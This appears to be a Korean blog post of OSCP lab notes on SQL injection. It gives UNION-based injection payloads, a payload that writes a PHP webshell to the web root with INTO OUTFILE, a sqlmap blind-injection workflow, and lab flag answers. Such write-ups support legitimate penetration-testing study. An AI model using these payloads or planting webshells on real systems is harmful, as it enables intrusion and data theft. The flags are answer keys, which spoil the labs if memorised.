[OSCP]Manual and Automated Code Execution SQL Injection attack

반응형
  1. Connect to the MSSQL VM 1 and enable xp_cmdshell as showcased in this Module. Which MSSQL configuration option needs to be enabled before xp_cmdshell can be turned on?
    --> show advanced options
  1. Connect to the MySQL VM 2 and repeat the steps illustrated in this section to manually exploit the UNION-based SQLi. Once you have obtained a webshell, gather the flag that is located in the same tmp folder.
    --> OS{2ac85dfb45201ab0e357e2063f8f1222} 

' ORDER BY 1-- // 과 'ORDER BY 6-- //의 차이가 5개의 열을 사용하는 것으로 확인


위 정보를 염두에 두고 현재 데이터베이스 이름, 사용자 및 MySQL 버전을 열거하여 첫 번째 공격을 시도할 수 있습니다.

%' UNION SELECT database(), user(), @@version, null, null -- //

 

공격을 시작한 후, 사용자 이름과 DB 버전이 마지막 줄에 있지만 현재 데이터베이스 이름은 없다는 것을 알게 될 것입니다. 이는 열 1이 일반적으로 정수 데이터 유형으로 구성된 ID 필드에 예약되어 있기 때문에 SELECT database() 문을 통해 요청하는 문자열 값을 반환할 수 없기 때문입니다 .

 

모든 열거 함수를 가장 오른쪽으로 이동하여 유형 불일치를 방지하여 쿼리를 업데이트 테스트 하면 성공되는 것을 확인
' UNION SELECT null, null, database(), user(), @@version  -- //

 

UNION SELECT SQL 키워드를 사용, 첫 번째 열에 단일 PHP 줄을 포함하고 이를 쓰기 가능한 웹 폴더 webshell.php 로 저장

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

 

webshell.php에 접근이 되어서 다음 플래그를 찾아주면 끝.

 

  1. Connect to the MySQL VM 3 and automate the SQL injection discovery via sqlmap as shown in this section. Then dump the users table by abusing the time-based blind SQLi and find the flag that is stored in one of the table's records.
    --> OS{75767ce0160538a7fac0a93202e4b2e9}

 

 

blind sql injeciotn flow

 

1. 취약점 탐지 

sqlmap -u "http://example.com/page.php?id=1" --technique=T --time-sec=5

2. 데이터베이스 이름 확인

sqlmap -u "http://example.com/page.php?id=1" --dbs --batch

3. 특정 데이터베이스의 테이블 확인

sqlmap -u "http://example.com/page.php?id=1" -D target_db --tables

4. 특정 테이블의 열 확인

sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users --columns

5. 데이터 덤프

sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C flag --dump --threads=10

 

 

  1. Capstone Lab: Enumerate the Module Exercise - VM #1 and exploit the SQLi vulnerability to get the flag

  1. Capstone Lab: Enumerate the Module Exercise - VM #2 and exploit the SQLi vulnerability to get the flag.
  1. Capstone Lab: Enumerate the Module Exercise - VM #3 and exploit the SQLi vulnerability to get the flag.
  1. Capstone Lab: Enumerate the Module Exercise - VM #4 and exploit the SQLi vulnerability to get the flag.

 

반응형

Designed by JB FACTORY